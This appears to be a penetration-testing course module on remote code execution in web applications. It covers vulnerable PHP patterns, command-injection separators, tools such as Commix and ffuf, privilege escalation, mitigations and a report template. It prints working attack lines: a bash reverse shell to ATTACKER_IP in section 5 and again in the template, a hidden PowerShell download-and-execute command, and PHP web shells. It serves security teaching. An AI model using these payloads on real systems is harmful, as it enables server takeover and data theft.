7. REMOTE CODE EXECUTION

🔷 MODULE 7 — REMOTE CODE EXECUTION (RCE)

Remote Code Execution (RCE) is one of the **most critical** vulnerabilities in web applications.

It allows an attacker to **run commands on the server**, leading to complete compromise.

This module covers:

- What is RCE
- Types of RCE
- How RCE happens
- Manual exploitation
- Automated exploitation
- Tools (Burp, cURL, Commix, FFUF, Wfuzz)
- Payload crafting
- Bypasses
- Privilege escalation
- Real-world exploitation paths

🔶 1. What Is RCE?

Remote Code Execution means the attacker gains the ability to run operating system commands on a remote machine through a vulnerable application.

✔️ What RCE allows:

- Read server files
- Delete or modify files

- Run scripts
- Install malware
- Access database credentials
- Pivot deeper into network
- Achieve full server takeover

If RCE is possible → **the system is fully compromised.**

🔶 2. How RCE Happens

Common causes:

a) User input executed directly by the system

Example:

```
<?php system($_GET["cmd"]); ?>
```

If you visit:

```
/vuln.php?cmd=whoami
```

The server executes the command → RCE.

---

b) File upload + execution

Upload:

- PHP
- ASPX
- JSP
- Python
- Shell binaries

Access the file:

```
/uploads/shell.php
```

Server executes it → RCE.

---

c) Insecure deserialization

Attackers inject malicious objects that trigger command execution.

---

d) Unsafe eval() functions

Example in PHP:

```
eval($_GET["run"]);
```

Visiting:

```
run=system('ls');
```

🔶 3. Testing for RCE (Manual)

Step 1: Identify user input

Common locations:

- URL parameters
- POST body
- JSON request
- Headers
- File uploads
- Cookie values

Step 2: Inject test payloads

Linux payloads

```
whoami
id
uname -a
ls
```

Windows payloads

```
whoami
dir
systeminfo
```

Step 3: Look for command output

If the response returns:

- Username
- System info
- File names

→ RCE confirmed.

🔶 4. Command Injection Basics (Important for RCE)

Sometimes the server uses commands like:

```
ping $user_input
```

Try:

```
; whoami
```

Common command separators:

```
;
&&
||
|
` `
$()
```

Examples:

```
& whoami
| id
$(ls)
`whoami`
```

🔶 5. Advanced Payloads for RCE

Linux

```
; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
```

Windows

```
& powershell -NoP -NonI -W Hidden -Exec Bypass IEX(New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')
```

🔶 6. Tools for RCE

1. Commix – Command Injection Exploiter

Command:

```
commix --url=http://site.com/vuln.php?cmd=1
```

What it's doing:

- Detects command injection
- Attempts payloads
- Automatically exploits leading to full RCE

---

2. Burp Suite

Key functions:

- Repeater (manual payload testing)
- Intruder (fuzzing command separators)
- Extensions like “ActiveScan++”

Example payload:

```
& id
```

---

3. FFUF / Wfuzz (RCE fuzzing)

Example:

```
ffuf -u http://site/vuln?cmd=FUZZ -w separators.txt
```

`separators.txt`:

```
;
&&
|
||
`id`
$(id)
```

4. cURL Manual Testing

```
curl "http://site.com/vuln?cmd=id"
```

5. Web Shells

PHP web shell:

```
<?php echo shell_exec($_GET["cmd"]); ?>
```

Access:

```
/shell.php?cmd=id
```

🔶 7. Privilege Escalation After RCE

Once inside the system, escalate privileges.

Commands:

```
sudo -l
whoami
uname -a
ls -la /root
```

Tools:

- LinPEAS
- WinPEAS
- Seatbelt
- PowerUp

🔶 8. RCE Mitigations (For reporting)

- Disable dangerous functions (system, exec, eval)
- Use allow-lists
- Escape user input
- Use parameterized APIs
- Disable file uploads or sanitize them
- Run applications with limited privileges
- Enable WAF rules

🔶 9. Real-World Examples

1. Struts RCE (Equifax breach)

Vulnerable header triggered OGNL evaluation.

2. Log4Shell (Java Log4j RCE)

String interpolation → RCE via JNDI.

3. PHP RCE via file upload

Unrestricted file upload → arbitrarily executed.

🔶 10. RCE Reporting Template (For Students)

```
Title: Remote Code Execution via unsanitized "cmd" parameter
Severity: Critical (9.8)
```

```
Impact: Full server compromise
Steps to reproduce:
1. Send: /vuln.php?cmd=id
2. Server responds with OS command output
3. Using payload ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 establishe
s reverse shell
Recommendations:
- Validate and sanitize user input
- Disable command execution functions
- Implement WAF
```